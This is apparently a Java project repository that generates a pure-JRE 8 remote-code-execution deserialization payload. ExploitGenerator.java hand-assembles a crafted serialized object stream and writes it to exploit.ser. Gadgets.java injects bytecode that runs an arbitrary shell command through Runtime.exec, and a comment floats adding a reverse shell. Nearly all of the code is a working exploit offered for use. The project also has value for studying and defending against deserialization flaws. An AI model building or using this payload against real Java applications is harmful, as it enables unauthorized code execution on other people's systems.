├── README.md
├── pom.xml
└── src
└── main
└── java
├── ExploitGenerator.java
└── util
├── ClassFiles.java
├── Converter.java
├── Gadgets.java
├── Reflections.java
├── Serializables.java
└── XXD.java
/README.md:
--------------------------------------------------------------------------------
1 | # Pure JRE 8 RCE Deserialization gadget
2 | Based on Chris Frohoff and Wouter Coekaerts ideas:
3 | - https://gist.github.com/frohoff/24af7913611f8406eaf3
4 | - http://wouter.coekaerts.be/2015/annotationinvocationhandler
5 |
--------------------------------------------------------------------------------
/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
5 | 4.0.0
6 |
7 | SerialKiller
8 | JRE8Exploit
9 | 1.0-SNAPSHOT
10 |
11 |
12 |
13 | org.javassist
14 | javassist
15 | 3.19.0-GA
16 |
17 |
18 |
19 |
--------------------------------------------------------------------------------
/src/main/java/ExploitGenerator.java:
--------------------------------------------------------------------------------
1 | import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
2 | import util.Converter;
3 | import util.Gadgets;
4 | import util.Reflections;
5 | import util.XXD;
6 |
7 | import javax.xml.transform.Templates;
8 | import java.beans.beancontext.BeanContextChildSupport;
9 | import java.beans.beancontext.BeanContextSupport;
10 | import java.io.ByteArrayInputStream;
11 | import java.io.FileOutputStream;
12 | import java.io.ObjectInputStream;
13 | import java.lang.reflect.Proxy;
14 | import java.util.HashMap;
15 | import java.util.HashSet;
16 | import java.util.LinkedHashSet;
17 |
18 | import static java.io.ObjectStreamConstants.*;
19 |
20 | public class ExploitGenerator {
21 |
22 | public static void main(String[] args) throws Exception {
23 |
24 | String command = "pwnalert";
25 |
26 | TemplatesImpl templates = null;
27 | try {
28 | templates = Gadgets.createTemplatesImpl(command);
29 | Reflections.setFieldValue(templates, "_auxClasses", null);
30 |
31 | } catch (Exception e) {
32 | e.printStackTrace();
33 | }
34 |
35 | byte[] bytes = Converter.toBytes(getData(templates));
36 |
37 | XXD.print(bytes);
38 |
39 | // Adjust references
40 | patch(bytes);
41 |
42 | FileOutputStream fos = new FileOutputStream("exploit.ser");
43 | fos.write(bytes);
44 | fos.close();
45 |
46 | ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes));
47 | ois.readObject();
48 |
49 | }
50 |
51 | public static byte[] patch(byte[] bytes) {
52 | for (int i = 0; i < bytes.length; i++) {
53 | if (bytes[i] == 0x71 && bytes[i+1] == 0x00 && bytes[i+2] == 0x7e && bytes[i+3] ==0x00) {
54 | i = i + 4;
55 | System.out.print("Adjusting reference from: " + bytes[i]);
56 | if (bytes[i] == 1) bytes[i] = 5; // (String)
57 | if (bytes[i] == 10) bytes[i] = 13; // (ObjectStreamClass) [[B
58 | if (bytes[i] == 12) bytes[i] = 25; // (BeanContextSupport)
59 | if (bytes[i] == 2) bytes[i] = 9; // (TemplatesImpl)
60 | if (bytes[i] == 16) bytes[i] = 29; // (InvocationHandler)
61 | System.out.println(" to: " + bytes[i]);
62 | }
63 | }
64 | return bytes;
65 | }
66 |
67 | static Object[] getData(TemplatesImpl templates) {
68 |
69 | HashMap map = new HashMap();
70 | // We need map.put("f5a5a608", templates) but ObjectOutputStream does not create a
71 | // reference for templates so that its exactly the same instance as the one added
72 | // directly to the LinkedHashSet. So instead, we can add a string since OOS
73 | // will create a reference to the existing string, and then I can manually
74 | // replace the reference with one pointing to the templates instance in the LinkedHashSet
75 | map.put("f5a5a608", "f5a5a608");
76 |
77 | int offset = 0;
78 | return new Object[]{
79 | STREAM_MAGIC, STREAM_VERSION, // stream headers
80 |
81 | // (1) LinkedHashSet
82 | TC_OBJECT,
83 | TC_CLASSDESC,
84 | LinkedHashSet.class.getName(),
85 | -2851667679971038690L,
86 | (byte) 2, // flags
87 | (short) 0, // field count
88 | TC_ENDBLOCKDATA,
89 | TC_CLASSDESC, // super class
90 | HashSet.class.getName(),
91 | -5024744406713321676L,
92 | (byte) 3, // flags
93 | (short) 0, // field count
94 | TC_ENDBLOCKDATA,
95 | TC_NULL, // no superclass
96 |
97 | // Block data that will be read by HashSet.readObject()
98 | // Used to configure the HashSet (capacity, loadFactor, size and items)
99 | TC_BLOCKDATA,
100 | (byte) 12,
101 | (short) 0,
102 | (short) 16, // capacity
103 | (short) 16192, (short) 0, (short) 0, // loadFactor
104 | (short) 2, // size
105 |
106 | // (2) First item in LinkedHashSet
107 | templates, // TemplatesImpl instance with malicious bytecode
108 |
109 | // (3) Second item in LinkedHashSet
110 | // Templates Proxy with AIH handler
111 | TC_OBJECT,
112 | TC_PROXYCLASSDESC, // proxy declaration
113 | 1, // one interface
114 | Templates.class.getName(), // the interface implemented by the proxy
115 | TC_ENDBLOCKDATA,
116 | TC_CLASSDESC,
117 | Proxy.class.getName(), // java.lang.Proxy class desc
118 | -2222568056686623797L, // serialVersionUID
119 | SC_SERIALIZABLE, // flags
120 | (short) 2, // field count
121 | (byte) 'L', "dummy", TC_STRING, "Ljava/lang/Object;", // dummy non-existent field
122 | (byte) 'L', "h", TC_STRING, "Ljava/lang/reflect/InvocationHandler;", // h field
123 | TC_ENDBLOCKDATA,
124 | TC_NULL, // no superclass
125 |
126 | // (3) Field values
127 | // value for the dummy field <--- BeanContextSupport.
128 | // this field does not actually exist in the Proxy class, so after deserialization this object is ignored.
129 | // (4) BeanContextSupport
130 | TC_OBJECT,
131 | TC_CLASSDESC,
132 | BeanContextSupport.class.getName(),
133 | -4879613978649577204L, // serialVersionUID
134 | (byte) (SC_SERIALIZABLE | SC_WRITE_METHOD),
135 | (short) 1, // field count
136 | (byte) 'I', "serializable", // serializable field, number of serializable children
137 | TC_ENDBLOCKDATA,
138 | TC_CLASSDESC, // super class
139 | BeanContextChildSupport.class.getName(),
140 | 6328947014421475877L,
141 | SC_SERIALIZABLE,
142 | (short) 1, // field count
143 | (byte) 'L', "beanContextChildPeer", TC_STRING, "Ljava/beans/beancontext/BeanContextChild;",
144 | TC_ENDBLOCKDATA,
145 | TC_NULL, // no superclass
146 |
147 | // (4) Field values
148 | // beanContextChildPeer must point back to this BeanContextSupport for BeanContextSupport.readObject to go into BeanContextSupport.readChildren()
149 | TC_REFERENCE, baseWireHandle + 12,
150 | // serializable: one serializable child
151 | 1,
152 |
153 | // now we add an extra object that is not declared, but that will be read/consumed by readObject
154 | // BeanContextSupport.readObject calls readChildren because we said we had one serializable child but it is not in the byte array
155 | // so the call to child = ois.readObject() will deserialize next object in the stream: the AnnotationInvocationHandler
156 | // At this point we enter the readObject of the aih that will throw an exception after deserializing its default objects
157 |
158 | // (5) AIH that will be deserialized as part of the BeanContextSupport
159 | TC_OBJECT,
160 | TC_CLASSDESC,
161 | "sun.reflect.annotation.AnnotationInvocationHandler",
162 | 6182022883658399397L, // serialVersionUID
163 | (byte) (SC_SERIALIZABLE | SC_WRITE_METHOD),
164 | (short) 2, // field count
165 | (byte) 'L', "type", TC_STRING, "Ljava/lang/Class;", // type field
166 | (byte) 'L', "memberValues", TC_STRING, "Ljava/util/Map;", // memberValues field
167 | TC_ENDBLOCKDATA,
168 | TC_NULL, // no superclass
169 |
170 | // (5) Field Values
171 | Templates.class, // type field value
172 | map, // memberValues field value
173 |
174 | // note: at this point normally the BeanContextSupport.readChildren would try to read the
175 | // BCSChild; but because the deserialization of the AnnotationInvocationHandler above throws,
176 | // we skip past that one into the catch block, and continue out of readChildren
177 |
178 | // the exception takes us out of readChildren and into BeanContextSupport.readObject
179 | // where there is a call to deserialize(ois, bcmListeners = new ArrayList(1));
180 | // Within deserialize() there is an int read (0) and then it will read as many obejcts (0)
181 |
182 | TC_BLOCKDATA,
183 | (byte) 4, // block length
184 | 0, // no BeanContextSupport.bcmListenes
185 | TC_ENDBLOCKDATA,
186 |
187 | // (6) value for the Proxy.h field
188 | TC_REFERENCE, baseWireHandle + offset + 16, // refer back to the AnnotationInvocationHandler
189 |
190 | TC_ENDBLOCKDATA,
191 | };
192 | }
193 | }
194 |
195 |
196 |
197 |
--------------------------------------------------------------------------------
/src/main/java/util/ClassFiles.java:
--------------------------------------------------------------------------------
1 | package util;
2 |
3 | import java.io.ByteArrayOutputStream;
4 | import java.io.IOException;
5 | import java.io.InputStream;
6 |
7 | public class ClassFiles {
8 | public static String classAsFile(final Class> clazz) {
9 | return classAsFile(clazz, true);
10 | }
11 |
12 | public static String classAsFile(final Class> clazz, boolean suffix) {
13 | String str;
14 | if (clazz.getEnclosingClass() == null) {
15 | str = clazz.getName().replace(".", "/");
16 | } else {
17 | str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName();
18 | }
19 | if (suffix) {
20 | str += ".class";
21 | }
22 | return str;
23 | }
24 |
25 | public static byte[] classAsBytes(final Class> clazz) {
26 | try {
27 | final byte[] buffer = new byte[1024];
28 | final String file = classAsFile(clazz);
29 | final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file);
30 | if (in == null) {
31 | throw new IOException("couldn't find '" + file + "'");
32 | }
33 | final ByteArrayOutputStream out = new ByteArrayOutputStream();
34 | int len;
35 | while ((len = in.read(buffer)) != -1) {
36 | out.write(buffer, 0, len);
37 | }
38 | return out.toByteArray();
39 | } catch (IOException e) {
40 | throw new RuntimeException(e);
41 | }
42 | }
43 |
44 | }
45 |
--------------------------------------------------------------------------------
/src/main/java/util/Converter.java:
--------------------------------------------------------------------------------
1 | package util;
2 |
3 | import java.io.ByteArrayOutputStream;
4 | import java.io.DataOutputStream;
5 | import java.io.IOException;
6 | import java.io.ObjectOutputStream;
7 |
8 | // adapted from http://slightlyrandombrokenthoughts.blogspot.com/2010/08/breaking-defensive-serialization.html
9 | public class Converter {
10 | public static byte[] toBytes(Object[] objs) throws IOException {
11 | ByteArrayOutputStream baos = new ByteArrayOutputStream();
12 | DataOutputStream dos = new DataOutputStream(baos);
13 | for (Object obj : objs) {
14 | treatObject(dos, obj);
15 | }
16 | dos.close();
17 | return baos.toByteArray();
18 | }
19 |
20 | public static void treatObject(DataOutputStream dos, Object obj)
21 | throws IOException {
22 | if (obj instanceof Byte) {
23 | dos.writeByte((Byte) obj);
24 | } else if (obj instanceof Short) {
25 | dos.writeShort((Short) obj);
26 | } else if (obj instanceof Integer) {
27 | dos.writeInt((Integer) obj);
28 | } else if (obj instanceof Long) {
29 | dos.writeLong((Long) obj);
30 | } else if (obj instanceof String) {
31 | dos.writeUTF((String) obj);
32 | } else {
33 | ByteArrayOutputStream ba = new ByteArrayOutputStream();
34 | ObjectOutputStream oos = new ObjectOutputStream(ba);
35 | oos.writeObject(obj);
36 | oos.close();
37 | dos.write(ba.toByteArray(), 4, ba.size() - 4); // 4 = skip the header
38 | }
39 | }
40 | }
41 |
42 |
--------------------------------------------------------------------------------
/src/main/java/util/Gadgets.java:
--------------------------------------------------------------------------------
1 | package util;
2 |
3 | import com.sun.org.apache.xalan.internal.xsltc.DOM;
4 | import com.sun.org.apache.xalan.internal.xsltc.TransletException;
5 | import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
6 | import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
7 | import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
8 | import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
9 | import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
10 | import javassist.ClassClassPath;
11 | import javassist.ClassPool;
12 | import javassist.CtClass;
13 |
14 | import java.io.Serializable;
15 | import java.lang.reflect.Array;
16 | import java.lang.reflect.InvocationHandler;
17 | import java.lang.reflect.Proxy;
18 | import java.util.HashMap;
19 | import java.util.Map;
20 |
21 | /*
22 | * utility generator functions for common jdk-only gadgets
23 | */
24 | @SuppressWarnings("restriction")
25 | public class Gadgets {
26 | public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
27 |
28 | public static class StubTransletPayload extends AbstractTranslet implements Serializable {
29 | private static final long serialVersionUID = -5971610431559700674L;
30 |
31 | public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
32 |
33 | @Override
34 | public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
35 | }
36 |
37 | // required to make TemplatesImpl happy
38 | public static class Foo implements Serializable {
39 | private static final long serialVersionUID = 8207363842866235160L;
40 | }
41 |
42 | public static T createMemoitizedProxy(final Map map, final Class iface,
43 | final Class> ... ifaces) throws Exception {
44 | return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
45 | }
46 |
47 | public static InvocationHandler createMemoizedInvocationHandler(final Map map) throws Exception {
48 | return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
49 | }
50 |
51 | public static T createProxy(final InvocationHandler ih, final Class iface, final Class> ... ifaces) {
52 | final Class>[] allIfaces = (Class>[]) Array.newInstance(Class.class, ifaces.length + 1);
53 | allIfaces[0] = iface;
54 | if (ifaces.length > 0) {
55 | System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
56 | }
57 | return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces , ih));
58 | }
59 |
60 | public static Map createMap(final String key, final Object val) {
61 | final Map map = new HashMap();
62 | map.put(key,val);
63 | return map;
64 | }
65 |
66 | public static TemplatesImpl createTemplatesImpl(final String command) throws Exception {
67 | final TemplatesImpl templates = new TemplatesImpl();
68 |
69 | // use template gadget class
70 | ClassPool pool = ClassPool.getDefault();
71 | pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
72 | final CtClass clazz = pool.get(StubTransletPayload.class.getName());
73 | // run command in static initializer
74 | // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
75 | clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") +"\");");
76 | // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
77 | clazz.setName("ysoserial.Pwner" + System.nanoTime());
78 |
79 | final byte[] classBytes = clazz.toBytecode();
80 |
81 | // inject class bytes into instance
82 | Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
83 | classBytes,
84 | ClassFiles.classAsBytes(Foo.class)});
85 |
86 | // required to make TemplatesImpl happy
87 | Reflections.setFieldValue(templates, "_name", "Pwnr");
88 | Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
89 | return templates;
90 | }
91 | }
92 |
--------------------------------------------------------------------------------
/src/main/java/util/Reflections.java:
--------------------------------------------------------------------------------
1 | package util;
2 |
3 | import java.lang.reflect.Constructor;
4 | import java.lang.reflect.Field;
5 |
6 | public class Reflections {
7 |
8 | public static Field getField(final Class> clazz, final String fieldName) throws Exception {
9 | Field field = null;
10 | try {
11 | field = clazz.getDeclaredField(fieldName);
12 | if (field == null && clazz.getSuperclass() != null) {
13 | field = getField(clazz.getSuperclass(), fieldName);
14 | }
15 | } catch (Exception e) {
16 | field = getField(clazz.getSuperclass(), fieldName);
17 | }
18 | if (field != null) {
19 | field.setAccessible(true);
20 | return field;
21 | } else {
22 | return null;
23 | }
24 | }
25 |
26 | public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
27 | final Field field = getField(obj.getClass(), fieldName);
28 | field.set(obj, value);
29 | }
30 |
31 | public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
32 | final Field field = getField(obj.getClass(), fieldName);
33 | return field.get(obj);
34 | }
35 |
36 | public static Constructor> getFirstCtor(final String name) throws Exception {
37 | final Constructor> ctor = Class.forName(name).getDeclaredConstructors()[0];
38 | ctor.setAccessible(true);
39 | return ctor;
40 | }
41 |
42 | }
43 |
--------------------------------------------------------------------------------
/src/main/java/util/Serializables.java:
--------------------------------------------------------------------------------
1 | package util;
2 |
3 | import java.io.*;
4 |
5 | public class Serializables {
6 |
7 | public static byte[] serialize(final Object obj) throws IOException {
8 | final ByteArrayOutputStream out = new ByteArrayOutputStream();
9 | serialize(obj, out);
10 | return out.toByteArray();
11 | }
12 |
13 | public static void serialize(final Object obj, final OutputStream out) throws IOException {
14 | final ObjectOutputStream objOut = new ObjectOutputStream(out);
15 | objOut.writeObject(obj);
16 | }
17 |
18 | public static Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException {
19 | final ByteArrayInputStream in = new ByteArrayInputStream(serialized);
20 | return deserialize(in);
21 | }
22 |
23 | public static Object deserialize(final InputStream in) throws ClassNotFoundException, IOException {
24 | final ObjectInputStream objIn = new ObjectInputStream(in);
25 | return objIn.readObject();
26 | }
27 |
28 |
29 |
30 | }
--------------------------------------------------------------------------------
/src/main/java/util/XXD.java:
--------------------------------------------------------------------------------
1 | package util;
2 |
3 | import java.io.ByteArrayOutputStream;
4 | import java.io.PrintStream;
5 |
6 |
7 | public class XXD {
8 |
9 | protected static void printLineNumber(PrintStream stream, int idx) {
10 | stream.printf("%08x:", idx);
11 | }
12 |
13 | protected static void printHexCharOrSpace(PrintStream stream, byte[] byteBuffer, int offset) {
14 | if (offset < byteBuffer.length) {
15 | stream.printf("%02x", byteBuffer[offset]);
16 | } else {
17 | stream.printf(" ");
18 | }
19 | }
20 |
21 | protected static void printHexBytes(PrintStream stream, byte[] byteBuffer, int offset ) {
22 | int bytes = byteBuffer.length;
23 | for (int j = 0; j < 8; ++j) {
24 | stream.printf(" ");
25 | printHexCharOrSpace(stream, byteBuffer, offset+2*j);
26 | printHexCharOrSpace(stream, byteBuffer, offset+2*j+1);
27 | }
28 | }
29 |
30 | protected static void printPrintableChars(PrintStream stream, byte[] byteBuffer, int offset) {
31 | int bytes = byteBuffer.length;
32 | for (int j = 0; j < 16; ++j) {
33 | if (offset + j < bytes) {
34 | byte b = byteBuffer[offset + j];
35 | if (Character.isISOControl((char) b)) {
36 | stream.printf(".");
37 | } else {
38 | stream.append((char) b);
39 | }
40 | } else {
41 | stream.append(' ');
42 | }
43 | }
44 | }
45 |
46 | public static void print(byte[] byteBuffer) {
47 | int bytes = byteBuffer.length;
48 | ByteArrayOutputStream bstream = new ByteArrayOutputStream();
49 | try {
50 | PrintStream stream = new PrintStream(bstream);
51 | for (int idx = 0; idx < bytes; idx += 16) {
52 | printLineNumber(stream, idx);
53 | printHexBytes(stream, byteBuffer, idx);
54 | stream.printf(" ");
55 | printPrintableChars(stream, byteBuffer, idx);
56 | stream.printf("\n");
57 | }
58 | } catch (Exception e) {
59 | e.printStackTrace();
60 | }
61 | System.out.println(bstream.toString());
62 | }
63 | }
64 |
--------------------------------------------------------------------------------